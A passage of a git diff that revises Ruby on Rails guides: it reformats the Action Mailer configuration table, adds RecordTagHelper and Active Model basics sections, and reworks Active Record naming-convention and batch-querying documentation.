@@ -404,7 +394,7 @@ Will put the HTML part first, and the plain text part second.
h4. Sending Emails with Attachments
-Attachments can be added by using the +attachment+ method:
+Attachments can be added by using the +attachments+ method:
<ruby>
class UserMailer < ActionMailer::Base
@@ -459,18 +449,18 @@ h3. Action Mailer Configuration
The following configuration options are best made in one of the environment files (environment.rb, production.rb, etc...)
-|template_root|Determines the base from which template references will be made.|
-|logger|Generates information on the mailing run if available. Can be set to nil for no logging. Compatible with both Ruby's own Logger and Log4r loggers.|
-|smtp_settings|Allows detailed configuration for :smtp delivery method:<ul><li>:address - Allows you to use a remote mail server. Just change it from its default "localhost" setting.</li><li>:port - On the off chance that your mail server doesn't run on port 25, you can change it.</li><li>:domain - If you need to specify a HELO domain, you can do it here.</li><li>:user_name - If your mail server requires authentication, set the username in this setting.</li><li>:password - If your mail server requires authentication, set the password in this setting.</li><li>:authentication - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of :plain, :login, :cram_md5.</li></ul>|
-|sendmail_settings|Allows you to override options for the :sendmail delivery method.<ul><li>:location - The location of the sendmail executable. Defaults to /usr/sbin/sendmail.</li><li>:arguments - The command line arguments to be passed to sendmail. Defaults to -i -t.</li></ul>|
-|raise_delivery_errors|Whether or not errors should be raised if the email fails to be delivered.|
-|delivery_method|Defines a delivery method. Possible values are :smtp (default), :sendmail, :file and :test.|
-|perform_deliveries|Determines whether deliveries are actually carried out when the +deliver+ method is invoked on the Mail message. By default they are, but this can be turned off to help functional testing.|
-|deliveries|Keeps an array of all the emails sent out through the Action Mailer with delivery_method :test. Most useful for unit and functional testing.|
+|+template_root+|Determines the base from which template references will be made.|
+|+logger+|Generates information on the mailing run if available. Can be set to +nil+ for no logging. Compatible with both Ruby's own +Logger+ and +Log4r+ loggers.|
+|+smtp_settings+|Allows detailed configuration for <tt>:smtp</tt> delivery method:<ul><li><tt>:address</tt> - Allows you to use a remote mail server. Just change it from its default "localhost" setting.</li><li><tt>:port</tt> - On the off chance that your mail server doesn't run on port 25, you can change it.</li><li><tt>:domain</tt> - If you need to specify a HELO domain, you can do it here.</li><li><tt>:user_name</tt> - If your mail server requires authentication, set the username in this setting.</li><li><tt>:password</tt> - If your mail server requires authentication, set the password in this setting.</li><li><tt>:authentication</tt> - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of <tt>:plain</tt>, <tt>:login</tt>, <tt>:cram_md5</tt>.</li></ul>|
+|+sendmail_settings+|Allows you to override options for the <tt>:sendmail</tt> delivery method.<ul><li><tt>:location</tt> - The location of the sendmail executable. Defaults to <tt>/usr/sbin/sendmail</tt>.</li><li><tt>:arguments</tt> - The command line arguments to be passed to sendmail. Defaults to <tt>-i -t</tt>.</li></ul>|
+|+raise_delivery_errors+|Whether or not errors should be raised if the email fails to be delivered.|
+|+delivery_method+|Defines a delivery method. Possible values are <tt>:smtp</tt> (default), <tt>:sendmail</tt>, <tt>:file</tt> and <tt>:test</tt>.|
+|+perform_deliveries+|Determines whether deliveries are actually carried out when the +deliver+ method is invoked on the Mail message. By default they are, but this can be turned off to help functional testing.|
+|+deliveries+|Keeps an array of all the emails sent out through the Action Mailer with delivery_method :test. Most useful for unit and functional testing.|
h4. Example Action Mailer Configuration
-An example would be adding the following to your appropriate <tt>config/environments/env.rb</tt> file:
+An example would be adding the following to your appropriate <tt>config/environments/$RAILS_ENV.rb</tt> file:
<ruby>
config.action_mailer.delivery_method = :sendmail
@@ -485,7 +475,7 @@ config.action_mailer.raise_delivery_errors = true
h4. Action Mailer Configuration for GMail
-As Action Mailer now uses the Mail gem, this becomes as simple as adding to your <tt>config/environments/env.rb</tt> file:
+As Action Mailer now uses the Mail gem, this becomes as simple as adding to your <tt>config/environments/$RAILS_ENV.rb</tt> file:
<ruby>
config.action_mailer.delivery_method = :smtp
@@ -517,14 +507,10 @@ class UserMailerTest < ActionMailer::TestCase
# Test the body of the sent email contains what we expect it to
assert_equal [user.email], email.to
assert_equal "Welcome to My Awesome Site", email.subject
- assert_match /<h1>Welcome to example.com, #{user.name}<\/h1>/, email.encoded
- assert_match /Welcome to example.com, #{user.name}/, email.encoded
+ assert_match(/<h1>Welcome to example.com, #{user.name}<\/h1>/, email.encoded)
+ assert_match(/Welcome to example.com, #{user.name}/, email.encoded)
end
end
</ruby>
In the test we send the email and store the returned object in the +email+ variable. We then ensure that it was sent (the first assert), then, in the second batch of assertions, we ensure that the email does indeed contain what we expect.
-
-h3. Changelog
-
-* September 30, 2010: Fixed typos and reformatted Action Mailer configuration table for better understanding. "Jaime Iniesta":http://jaimeiniesta.com
diff --git a/railties/guides/source/action_view_overview.textile b/railties/guides/source/action_view_overview.textile
index d40e0840ce..e2b69fa0d5 100644
--- a/railties/guides/source/action_view_overview.textile
+++ b/railties/guides/source/action_view_overview.textile
@@ -16,7 +16,7 @@ Action View and Action Controller are the two major components of Action Pack. I
Action View templates are written using embedded Ruby in tags mingled with HTML. To avoid cluttering the templates with boilerplate code, a number of helper classes provide common behavior for forms, dates, and strings. It's also easy to add new helpers to your application as it evolves.
-Note: Some features of Action View are tied to Active Record, but that doesn't mean that Action View depends on Active Record. Action View is an independent package that can be used with any sort of backend.
+NOTE. Some features of Action View are tied to Active Record, but that doesn't mean that Action View depends on Active Record. Action View is an independent package that can be used with any sort of backend.
h3. Using Action View with Rails
@@ -454,6 +454,83 @@ input("post", "title") # =>
<input id="post_title" name="post[title]" size="30" type="text" value="Hello World" />
</ruby>
+h4. RecordTagHelper
+
+This module provides methods for generating a container tag, such as a +<div>+, for your record. This is the recommended way of creating a container for render your Active Record object, as it adds an appropriate class and id attributes to that container. You can then refer to those containers easily by following the convention, instead of having to think about which class or id attribute you should use.
+
+h5. content_tag_for
+
+Renders a container tag that relates to your Active Record Object.
+
+For example, given +@post+ is the object of +Post+ class, you can do:
+
+<ruby>
+<%= content_tag_for(:tr, @post) do %>
+ <td><%= @post.title %></td>
+<% end %>
+</ruby>
+
+This will generate this HTML output:
+
+<html>
+<tr id="post_1234" class="post">
+ <td>Hello World!</td>
+</tr>
+</html>
+
+You can also supply HTML attributes as an additional option hash. For example:
+
+<ruby>
+<%= content_tag_for(:tr, @post, :class => "frontpage") do %>
+ <td><%= @post.title %></td>
+<% end %>
+</ruby>
+
+Will generate this HTML output:
+
+<html>
+<tr id="post_1234" class="post frontpage">
+ <td>Hello World!</td>
+</tr>
+</html>
+
+You can pass a collection of Active Record objects. This method will loop through your objects and create a container for each of them. For example, given +@posts+ is an array of two +Post+ objects:
+
+<ruby>
+<%= content_tag_for(:tr, @posts) do |post| %>
+ <td><%= post.title %></td>
+<% end %>
+</ruby>
+
+Will generate this HTML output:
+
+<html>
+<tr id="post_1234" class="post">
+ <td>Hello World!</td>
+</tr>
+<tr id="post_1235" class="post">
+ <td>Ruby on Rails Rocks!</td>
+</tr>
+</html>
+
+h5. div_for
+
+This is actually a convenient method which calls +content_tag_for+ internally with +:div+ as the tag name. You can pass either an Active Record object or a collection of objects. For example:
+
+<ruby>
+<%= div_for(@post, :class => "frontpage") do %>
+ <td><%= @post.title %></td>
+<% end %>
+</ruby>
+
+Will generate this HTML output:
+
+<html>
+<div id="post_1234" class="post frontpage">
+ <td>Hello World!</td>
+</div>
+</html>
+
h4. AssetTagHelper
This module provides methods for generating HTML that links views to assets such as images, JavaScript files, stylesheets, and feeds.
@@ -478,7 +555,6 @@ javascript_include_tag :monkey # =>
<script type="text/javascript" src="/javascripts/tail.js"></script>
</ruby>
-
h5. register_stylesheet_expansion
Register one or more stylesheet files to be included when symbol is passed to +stylesheet_link_tag+. This method is typically intended to be called from plugin initialization to register stylesheet files that the plugin installed in +public/stylesheets+.
@@ -822,7 +898,7 @@ h5. select_year
Returns a select tag with options for each of the five years on each side of the current, which is selected. The five year radius can be changed using the +:start_year+ and +:end_year+ keys in the +options+.
<ruby>
-# Generates a select field for five years on either side of +Date.today+ that defaults to the current year
+# Generates a select field for five years on either side of Date.today that defaults to the current year
select_year(Date.today)
# Generates a select field from 1900 to 2009 that defaults to the current year
@@ -1419,10 +1495,3 @@ end
Then you could create special views like +app/views/posts/show.expert.html.erb+ that would only be displayed to expert users.
You can read more about the Rails Internationalization (I18n) API "here":i18n.html.
-
-h3. Changelog
-
-* May 29, 2011: Removed references to remote_* helpers - Vijay Dev
-* April 16, 2011: Added 'Using Action View with Rails', 'Templates' and 'Partials' sections. "Sebastian Martinez":http://wyeworks.com
-* September 3, 2009: Continuing work by Trevor Turk, leveraging the Action Pack docs and "What's new in Edge Rails":http://ryandaigle.com/articles/2007/8/3/what-s-new-in-edge-rails-partials-get-layouts
-* April 5, 2009: Starting work by Trevor Turk, leveraging Mike Gunderloy's docs
diff --git a/railties/guides/source/active_model_basics.textile b/railties/guides/source/active_model_basics.textile
new file mode 100644
index 0000000000..9c8ad24cee
--- /dev/null
+++ b/railties/guides/source/active_model_basics.textile
@@ -0,0 +1,205 @@
+h2. Active Model Basics
+
+This guide should provide you with all you need to get started using model classes. Active Model allow for Action Pack helpers to interact with non-ActiveRecord models. Active Model also helps building custom ORMs for use outside of the Rails framework.
+
+endprologue.
+
+WARNING. This Guide is based on Rails 3.0. Some of the code shown here will not work in earlier versions of Rails.
+
+h3. Introduction
+
+Active Model is a library containing various modules used in developing frameworks that need to interact with the Rails Action Pack library. Active Model provides a known set of interfaces for usage in classes. Some of modules are explained below -
+
+h4. AttributeMethods
+
+AttributeMethods module can add custom prefixes and suffixes on methods of a class. It is used by defining the prefixes and suffixes, which methods on the object will use them.
+
+<ruby>
+class Person
+ include ActiveModel::AttributeMethods
+
+ attribute_method_prefix 'reset_'
+ attribute_method_suffix '_highest?'
+ define_attribute_methods ['age']
+
+ attr_accessor :age
+
+private
+ def reset_attribute(attribute)
+ send("#{attribute}=", 0)
+ end
+
+ def attribute_highest?(attribute)
+ send(attribute) > 100 ? true : false
+ end
+
+end
+
+person = Person.new
+person.age = 110
+person.age_highest? # true
+person.reset_age # 0
+person.age_highest? # false
+
+</ruby>
+
+h4. Callbacks
+
+Callbacks gives Active Record style callbacks. This provides the ability to define the callbacks and those will run at appropriate time. After defining a callbacks you can wrap with before, after and around custom methods.
+
+<ruby>
+class Person
+ extend ActiveModel::Callbacks
+
+ define_model_callbacks :update
+
+ before_update :reset_me
+
+ def update
+ _run_update_callbacks do
+ # This will call when we are trying to call update on object.
+ end
+ end
+
+ def reset_me
+ # This method will call when you are calling update on object as a before_update callback as defined.
+ end
+end
+</ruby>
+
+h4. Conversion
+
+If a class defines persisted? and id methods then you can include Conversion module in that class and you can able to call Rails conversion methods to objects of that class.
+
+<ruby>
+class Person
+ include ActiveModel::Conversion
+
+ def persisted?
+ false
+ end
+
+ def id
+ nil
+ end
+end
+
+person = Person.new
+person.to_model == person #=> true
+person.to_key #=> nil
+person.to_param #=> nil
+</ruby>
+
+h4. Dirty
+
+An object becomes dirty when an object is gone through one or more changes to its attributes and not yet saved. This gives the ability to check whether an object has been changed or not. It also has attribute based accessor methods. Lets consider a Person class with attributes first_name and last_name
+
+<ruby>
+require 'rubygems'
+require 'active_model'
+
+class Person
+ include ActiveModel::Dirty
+ define_attribute_methods [:first_name, :last_name]
+
+ def first_name
+ @first_name
+ end
+
+ def first_name=(value)
+ first_name_will_change!
+ @first_name = value
+ end
+
+ def last_name
+ @last_name
+ end
+
+ def last_name=(value)
+ last_name_will_change!
+ @last_name = value
+ end
+
+ def save
+ @previously_changed = changes
+ end
+
+end
+</ruby>
+
+h5. Querying object directly for its list of all changed attributes.
+
+<ruby>
+person = Person.new
+person.first_name = "First Name"
+
+person.first_name #=> "First Name"
+person.first_name = "First Name Changed"
+
+person.changed? #=> true
+
+#returns an list of fields arry which all has been changed before saved.
+person.changed #=> ["first_name"]
+
+#returns a hash of the fields that have changed with their original values.
+person.changed_attributes #=> {"first_name" => "First Name Changed"}
+
+#returns a hash of changes, with the attribute names as the keys, and the values will be an array of the old and new value for that field.
+person.changes #=> {"first_name" => ["First Name","First Name Changed"]}
+</ruby>
+
+h5. Attribute based accessor methods
+
+Track whether the particular attribute has been changed or not.
+
+<ruby>
+#attr_name_changed?
+person.first_name #=> "First Name"
+
+#assign some other value to first_name attribute
+person.first_name = "First Name 1"
+
+person.first_name_changed? #=> true
+</ruby>
+
+Track what was the previous value of the attribute.
+
+<ruby>
+#attr_name_was accessor
+person.first_name_was #=> "First Name"
+</ruby>
+
+Track both previous and current value of the changed attribute. Returns an array if changed else returns nil
+
+<ruby>
+#attr_name_change
+person.first_name_change #=> ["First Name", "First Name 1"]
+person.last_name_change #=> nil
+</ruby>
+
+h4. Validations
+
+Validations module adds the ability to class objects to validate them in Active Record style.
+
+<ruby>
+class Person
+ include ActiveModel::Validations
+
+ attr_accessor :name, :email, :token
+
+ validates :name, :presence => true
+ validates_format_of :email, :with => /^([^\s]+)((?:[-a-z0-9]\.)[a-z]{2,})$/i
+ validates! :token, :presence => true
+
+end
+
+person = Person.new(:token => "2b1f325")
+person.valid? #=> false
+person.name = 'vishnu'
+person.email = 'me'
+person.valid? #=> false
+person.email = 'me@vishnuatrai.com'
+person.valid? #=> true
+person.token = nil
+person.valid? #=> raises ActiveModel::StrictValidationFailed
+</ruby>
diff --git a/railties/guides/source/active_record_basics.textile b/railties/guides/source/active_record_basics.textile
index 3e46e7df9f..487f8b70f9 100644
--- a/railties/guides/source/active_record_basics.textile
+++ b/railties/guides/source/active_record_basics.textile
@@ -38,47 +38,48 @@ When writing applications using other programming languages or frameworks, it ma
h4. Naming Conventions
-By default, Active Record uses some naming conventions to find out how the mapping between models and database tables should be created. Rails will pluralize your class names to find the respective database table. So, for a class +Book+, you should have a database table called *books*. The Rails pluralization mechanisms are very powerful, being capable to pluralize (and singularize) both regular and irregular words. When using class names composed of two or more words, the model class name should follow the Ruby conventions, using the camelCase form, while the table name must contain the words separated by underscores. Examples:
+By default, Active Record uses some naming conventions to find out how the mapping between models and database tables should be created. Rails will pluralize your class names to find the respective database table. So, for a class +Book+, you should have a database table called *books*. The Rails pluralization mechanisms are very powerful, being capable to pluralize (and singularize) both regular and irregular words. When using class names composed of two or more words, the model class name should follow the Ruby conventions, using the CamelCase form, while the table name must contain the words separated by underscores. Examples:
-* Database Table - Plural with underscores separating words (e.g., book_clubs)
-* Model Class - Singular with the first letter of each word capitalized (e.g., BookClub)
+* Database Table - Plural with underscores separating words (e.g., +book_clubs+)
+* Model Class - Singular with the first letter of each word capitalized (e.g., +BookClub+)
|_.Model / Class |_.Table / Schema |
-|Post |posts|
-|LineItem |line_items|
-|Deer |deer|
-|Mouse |mice|
-|Person |people|
+|+Post+ |+posts+|
+|+LineItem+ |+line_items+|
+|+Deer+ |+deer+|
+|+Mouse+ |+mice+|
+|+Person+ |+people+|
h4. Schema Conventions
Active Record uses naming conventions for the columns in database tables, depending on the purpose of these columns.
-* *Foreign keys* - These fields should be named following the pattern table_id (e.g., item_id, order_id). These are the fields that Active Record will look for when you create associations between your models.
-* *Primary keys* - By default, Active Record will use an integer column named "id" as the table's primary key. When using "Rails Migrations":migrations.html to create your tables, this column will be automatically created.
+* *Foreign keys* - These fields should be named following the pattern +singularized_table_name_id+ (e.g., +item_id+, +order_id+). These are the fields that Active Record will look for when you create associations between your models.
+* *Primary keys* - By default, Active Record will use an integer column named +id+ as the table's primary key. When using "Rails Migrations":migrations.html to create your tables, this column will be automatically created.
There are also some optional column names that will create additional features to Active Record instances:
-* *created_at* - Automatically gets set to the current date and time when the record is first created.
-* *created_on* - Automatically gets set to the current date when the record is first created.
-* *updated_at* - Automatically gets set to the current date and time whenever the record is updated.
-* *updated_on* - Automatically gets set to the current date whenever the record is updated.
-* *lock_version* - Adds "optimistic locking":http://api.rubyonrails.org/classes/ActiveRecord/Locking.html to a model.
-* *type* - Specifies that the model uses "Single Table Inheritance":http://api.rubyonrails.org/classes/ActiveRecord/Base.html
-* *(table_name)_count* - Used to cache the number of belonging objects on associations. For example, a +comments_count+ column in a +Post+ class that has many instances of +Comment+ will cache the number of existent comments for each post.
+* +created_at+ - Automatically gets set to the current date and time when the record is first created.
+* +created_on+ - Automatically gets set to the current date when the record is first created.
+* +updated_at+ - Automatically gets set to the current date and time whenever the record is updated.
+* +updated_on+ - Automatically gets set to the current date whenever the record is updated.
+* +lock_version+ - Adds "optimistic locking":http://api.rubyonrails.org/classes/ActiveRecord/Locking.html to a model.
+* +type+ - Specifies that the model uses "Single Table Inheritance":http://api.rubyonrails.org/classes/ActiveRecord/Base.html
+* +(table_name)_count+ - Used to cache the number of belonging objects on associations. For example, a +comments_count+ column in a +Post+ class that has many instances of +Comment+ will cache the number of existent comments for each post.
-NOTE: While these column names are optional they are in fact reserved by Active Record. Steer clear of reserved keywords unless you want the extra functionality. For example, "type" is a reserved keyword used to designate a table using Single Table Inheritance. If you are not using STI, try an analogous keyword like "context", that may still accurately describe the data you are modeling.
+NOTE: While these column names are optional, they are in fact reserved by Active Record. Steer clear of reserved keywords unless you want the extra functionality. For example, +type+ is a reserved keyword used to designate a table using Single Table Inheritance (STI). If you are not using STI, try an analogous keyword like "context", that may still accurately describe the data you are modeling.
h3. Creating Active Record Models
-It's very easy to create Active Record models. All you have to do is to subclass the +ActiveRecord::Base+ class and you're good to go:
+It is very easy to create Active Record models. All you have to do is to subclass the +ActiveRecord::Base+ class and you're good to go:
<ruby>
-class Product < ActiveRecord::Base; end
+class Product < ActiveRecord::Base
+end
</ruby>
-This will create a +Product+ model, mapped to a *products* table at the database. By doing this you'll also have the ability to map the columns of each row in that table with the attributes of the instances of your model. So, suppose that the *products* table was created using an SQL sentence like:
+This will create a +Product+ model, mapped to a +products+ table at the database. By doing this you'll also have the ability to map the columns of each row in that table with the attributes of the instances of your model. Suppose that the +products+ table was created using an SQL sentence like:
<sql>
CREATE TABLE products (
@@ -100,11 +101,11 @@ h3. Overriding the Naming Conventions
What if you need to follow a different naming convention or need to use your Rails application with a legacy database? No problem, you can easily override the default conventions.
-You can use the +ActiveRecord::Base.set_table_name+ method to specify the table name that should be used:
+You can use the +ActiveRecord::Base.table_name=+ method to specify the table name that should be used:
<ruby>
class Product < ActiveRecord::Base
- set_table_name "PRODUCT"
+ self.table_name = "PRODUCT"
end
</ruby>
@@ -126,21 +127,21 @@ class Product < ActiveRecord::Base
end
</ruby>
-h3. Reading and Writing Data
+h3. CRUD: Reading and Writing Data
CRUD is an acronym for the four verbs we use to operate on data: *C*reate, *R*ead, *U*pdate and *D*elete. Active Record automatically creates methods to allow an application to read and manipulate data stored within its tables.
h4. Create
-Active Record objects can be created from a hash, a block or have its attributes manually set after creation. The _new_ method will return a new object while _create_ will return the object and save it to the database.
+Active Record objects can be created from a hash, a block or have their attributes manually set after creation. The +new+ method will return a new object while +create+ will return the object and save it to the database.
-For example, given a model +User+ with attributes of +name+ and +occupation+, the _create_ method call will create and save a new record into the database:
+For example, given a model +User+ with attributes of +name+ and +occupation+, the +create+ method call will create and save a new record into the database:
<ruby>
user = User.create(:name => "David", :occupation => "Code Artist")
</ruby>
-Using the _new_ method, an object can be created without being saved:
+Using the +new+ method, an object can be created without being saved:
<ruby>
user = User.new
@@ -148,9 +149,9 @@ Using the _new_ method, an object can be created without being saved:
user.occupation = "Code Artist"
</ruby>
-A call to _user.save_ will commit the record to the database.
+A call to +user.save+ will commit the record to the database.
-Finally, passing a block to either create or new will return a new User object:
+Finally, if a block is provided, both +create+ and +new+ will yield the new object to that block for initialization:
<ruby>
user = User.new do |u|
@@ -164,7 +165,7 @@ h4. Read
Active Record provides a rich API for accessing data within a database. Below are a few examples of different data access methods provided by Active Record.
<ruby>
- # return all records
+ # return array with all records
users = User.all
</ruby>
@@ -204,7 +205,6 @@ Likewise, once retrieved an Active Record object can be destroyed which removes
user.destroy
</ruby>
-
h3. Validations
Active Record allows you to validate the state of a model before it gets written into the database. There are several methods that you can use to check your models and validate that an attribute value is not empty, is unique and not already in the database, follows a specific format and many more. You can learn more about validations in the "Active Record Validations and Callbacks guide":active_record_validations_callbacks.html#validations-overview.
diff --git a/railties/guides/source/active_record_querying.textile b/railties/guides/source/active_record_querying.textile
index 8ea06d28aa..352f23dc01 100644
--- a/railties/guides/source/active_record_querying.textile
+++ b/railties/guides/source/active_record_querying.textile
@@ -8,12 +8,13 @@ This guide covers different ways to retrieve data from the database using Active
* Use dynamic finders methods
* Check for the existence of particular records
* Perform various calculations on Active Record models
+* Run EXPLAIN on relations
endprologue.
WARNING. This Guide is based on Rails 3.0. Some of the code shown here will not work in other versions of Rails.
-If you're used to using raw SQL to find database records then, generally, you will find that there are better ways to carry out the same operations in Rails. Active Record insulates you from the need to use SQL in most cases.
+If you're used to using raw SQL to find database records, then you will generally find that there are better ways to carry out the same operations in Rails. Active Record insulates you from the need to use SQL in most cases.
Code examples throughout this guide will refer to one or more of the following models:
@@ -69,28 +70,28 @@ The methods are:
All of the above methods return an instance of <tt>ActiveRecord::Relation</tt>.
-Primary operation of <tt>Model.find(options)</tt> can be summarized as:
+The primary operation of <tt>Model.find(options)</tt> can be summarized as:
* Convert the supplied options to an equivalent SQL query.
* Fire the SQL query and retrieve the corresponding results from the database.
* Instantiate the equivalent Ruby object of the appropriate model for every resulting row.
-* Run +after_find+ callbacks if any.
+* Run +after_find+ callbacks, if any.
h4. Retrieving a Single Object
-Active Record lets you retrieve a single object using five different ways.
+Active Record provides five different ways of retrieving a single object.
h5. Using a Primary Key
-Using <tt>Model.find(primary_key)</tt>, you can retrieve the object corresponding to the supplied _primary key_ and matching the supplied options (if any). For example:
+Using <tt>Model.find(primary_key)</tt>, you can retrieve the object corresponding to the specified _primary key_ that matches any supplied options. For example:
<ruby>
# Find the client with primary key (id) 10.
client = Client.find(10)
-=> #<Client id: 10, first_name: => "Ryan">
+# => #<Client id: 10, first_name: "Ryan">
</ruby>
-SQL equivalent of the above is:
+The SQL equivalent of the above is:
<sql>
SELECT * FROM clients WHERE (clients.id = 10)
@@ -100,14 +101,14 @@ SELECT * FROM clients WHERE (clients.id = 10)
h5. +first+
-<tt>Model.first</tt> finds the first record matched by the supplied options. For example:
+<tt>Model.first</tt> finds the first record matched by the supplied options, if any. For example:
<ruby>
client = Client.first
-=> #<Client id: 1, first_name: "Lifo">
+# => #<Client id: 1, first_name: "Lifo">
</ruby>
-SQL equivalent of the above is:
+The SQL equivalent of the above is:
<sql>
SELECT * FROM clients LIMIT 1
@@ -121,10 +122,10 @@ h5. +last+
<ruby>
client = Client.last
-=> #<Client id: 221, first_name: "Russel">
+# => #<Client id: 221, first_name: "Russel">
</ruby>
-SQL equivalent of the above is:
+The SQL equivalent of the above is:
<sql>
SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1
@@ -132,16 +133,16 @@ SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1
<tt>Model.last</tt> returns +nil+ if no matching record is found. No exception will be raised.
-h5. +first!+
+h5(#first_1). +first!+
<tt>Model.first!</tt> finds the first record. For example:
<ruby>
client = Client.first!
-=> #<Client id: 1, first_name: "Lifo">
+# => #<Client id: 1, first_name: "Lifo">
</ruby>
-SQL equivalent of the above is:
+The SQL equivalent of the above is:
<sql>
SELECT * FROM clients LIMIT 1
@@ -149,16 +150,16 @@ SELECT * FROM clients LIMIT 1
<tt>Model.first!</tt> raises +RecordNotFound+ if no matching record is found.
-h5. +last!+
+h5(#last_1). +last!+
<tt>Model.last!</tt> finds the last record. For example:
<ruby>
client = Client.last!
-=> #<Client id: 221, first_name: "Russel">
+# => #<Client id: 221, first_name: "Russel">
</ruby>
-SQL equivalent of the above is:
+The SQL equivalent of the above is:
<sql>
SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1
@@ -170,15 +171,15 @@ h4. Retrieving Multiple Objects
h5. Using Multiple Primary Keys
-<tt>Model.find(array_of_primary_key)</tt> also accepts an array of _primary keys_. An array of all the matching records for the supplied _primary keys_ is returned. For example:
+<tt>Model.find(array_of_primary_key)</tt> accepts an array of _primary keys_, returning an array containing all of the matching records for the supplied _primary keys_. For example:
<ruby>
# Find the clients with primary keys 1 and 10.
-client = Client.find(1, 10) # Or even Client.find([1, 10])
-=> [#<Client id: 1, first_name: => "Lifo">, #<Client id: 10, first_name: => "Ryan">]
+client = Client.find([1, 10]) # Or even Client.find(1, 10)
+# => [#<Client id: 1, first_name: "Lifo">, #<Client id: 10, first_name: "Ryan">]
</ruby>
-SQL equivalent of the above is:
+The SQL equivalent of the above is:
<sql>
SELECT * FROM clients WHERE (clients.id IN (1,10))
@@ -188,24 +189,26 @@ WARNING: <tt>Model.find(array_of_primary_key)</tt> will raise an +ActiveRecord::
h4. Retrieving Multiple Objects in Batches
-Sometimes you need to iterate over a large set of records. For example to send a newsletter to all users, to export some data, etc.
+We often need to iterate over a large set of records, as when we send a newsletter to a large set of users, or when we export data.
-The following may seem very straight forward at first:
+This may appear straightforward:
<ruby>
-# Very inefficient when users table has thousands of rows.
+# This is very inefficient when the users table has thousands of rows.
User.all.each do |user|
NewsLetter.weekly_deliver(user)
end
</ruby>
-But if the total number of rows in the table is very large, the above approach may vary from being under performant to just plain impossible.
+But this approach becomes increasingly impractical as the table size increases, since +User.all.each+ instructs Active Record to fetch _the entire table_ in a single pass, build a model object per row, and then keep the entire array of model objects in memory. Indeed, if we have a large number of records, the entire collection may exceed the amount of memory available.
-This is because +User.all.each+ makes Active Record fetch _the entire table_, build a model object per row, and keep the entire array in the memory. Sometimes that is just too many objects and demands too much memory.
+Rails provides two methods that address this problem by dividing records into memory-friendly batches for processing. The first method, +find_each+, retrieves a batch of records and then yields _each_ record to the block individually as a model. The second method, +find_in_batches+, retrieves a batch of records and then yields _the entire batch_ to the block as an array of models.
+
+TIP: The +find_each+ and +find_in_batches+ methods are intended for use in the batch processing of a large number of records that wouldn't fit in memory all at once. If you just need to loop over a thousand records the regular find methods are the preferred option.
h5. +find_each+
-To efficiently iterate over a large table, Active Record provides a batch finder method called +find_each+:
+The +find_each+ method retrieves a batch of records and then yields _each_ record to the block individually as a model. In the following example, +find_each+ will retrieve 1000 records (the current default for both +find_each+ and +find_in_batches+) and then yield each record individually to the block as a model. This process is repeated until all of the records have been processed:
<ruby>
User.find_each do |user|
@@ -213,11 +216,15 @@ User.find_each do |user|
end
</ruby>
-*Configuring the batch size*
+h6. Options for +find_each+
+
+The +find_each+ method accepts most of the options allowed by the regular +find+ method, except for +:order+ and +:limit+, which are reserved for internal use by +find_each+.
+
+Two additional options, +:batch_size+ and +:start+, are available as well.
-Behind the scenes +find_each+ fetches rows in batches of +1000+ and yields them one by one. The size of the underlying batches is configurable via the +:batch_size+ option.
+*+:batch_size+*
-To fetch +User+ records in batch size of +5000+:
+The +:batch_size+ option allows you to specify the number of records to be retrieved in each batch, before being passed individually to the block. For example, to retrieve records in batches of 5000:
<ruby>
User.find_each(:batch_size => 5000) do |user|
@@ -225,34 +232,38 @@ User.find_each(:batch_size => 5000) do |user|
end
</ruby>
-*Starting batch find from a specific primary key*
+*+:start+*
-Records are fetched in ascending order on the primary key, which must be an integer. The +:start+ option allows you to configure the first ID of the sequence if the lowest is not the one you need. This may be useful for example to be able to resume an interrupted batch process if it saves the last processed ID as a checkpoint.
+By default, records are fetched in ascending order of the primary key, which must be an integer. The +:start+ option allows you to configure the first ID of the sequence whenever the lowest ID is not the one you need. This would be useful, for example, if you wanted to resume an interrupted batch process, provided you saved the last processed ID as a checkpoint.
-To send newsletters only to users with the primary key starting from +2000+:
+For example, to send newsletters only to users with the primary key starting from 2000, and to retrieve them in batches of 5000:
<ruby>
-User.find_each(:batch_size => 5000, :start => 2000) do |user|
+User.find_each(:start => 2000, :batch_size => 5000) do |user|
NewsLetter.weekly_deliver(user)
end
</ruby>
-*Additional options*
+Another example would be if you wanted multiple workers handling the same processing queue. You could have each worker handle 10000 records by setting the appropriate <tt>:start</tt> option on each worker.
-+find_each+ accepts the same options as the regular +find+ method. However, +:order+ and +:limit+ are needed internally and hence not allowed to be passed explicitly.
+NOTE: The +:include+ option allows you to name associations that should be loaded alongside with the models.
h5. +find_in_batches+
-You can also work by chunks instead of row by row using +find_in_batches+. This method is analogous to +find_each+, but it yields arrays of models instead:
+The +find_in_batches+ method is similar to +find_each+, since both retrieve batches of records. The difference is that +find_in_batches+ yields _batches_ to the block as an array of models, instead of individually. The following example will yield to the supplied block an array of up to 1000 invoices at a time, with the final block containing any remaining invoices:
<ruby>
-# Works in chunks of 1000 invoices at a time.
+# Give add_invoices an array of 1000 invoices at a time
Invoice.find_in_batches(:include => :invoice_lines) do |invoices|
export.add_invoices(invoices)
end
</ruby>
-The above will yield the supplied block with +1000+ invoices every time.
+NOTE: The +:include+ option allows you to name associations that should be loaded alongside with the models.
+
+h6. Options for +find_in_batches+
+
+The +find_in_batches+ method accepts the same +:batch_size+ and +:start+ options as +find_each+, as well as most of the options allowed by the regular +find+ method, except for +:order+ and +:limit+, which are reserved for internal use by +find_in_batches+.
h3. Conditions
@@ -266,7 +277,7 @@ WARNING: Building your own conditions as pure strings can leave you vulnerable t
h4. Array Conditions
-Now what if that number could vary, say as an argument from somewhere? The find then becomes something like:
+Now what if that number could vary, say as an argument from somewhere? The find would then take the form:
<ruby>
Client.where("orders_count = ?", params[:orders])
@@ -274,7 +285,7 @@ Client.where("orders_count = ?", params[:orders])
Active Record will go through the first element in the conditions value and any additional elements will replace the question marks +(?)+ in the first element.
-Or if you want to specify two conditions, you can do it like:
+If you want to specify multiple conditions:
<ruby>
Client.where("orders_count = ? AND locked = ?", params[:orders], false)
@@ -282,19 +293,19 @@ Client.where("orders_count = ? AND locked = ?", params[:orders], false)
In this example, the first question mark will be replaced with the value in +params[:orders]+ and the second will be replaced with the SQL representation of +false+, which depends on the adapter.
-The reason for doing code like:
+This code is highly preferable:
<ruby>
Client.where("orders_count = ?", params[:orders])
</ruby>
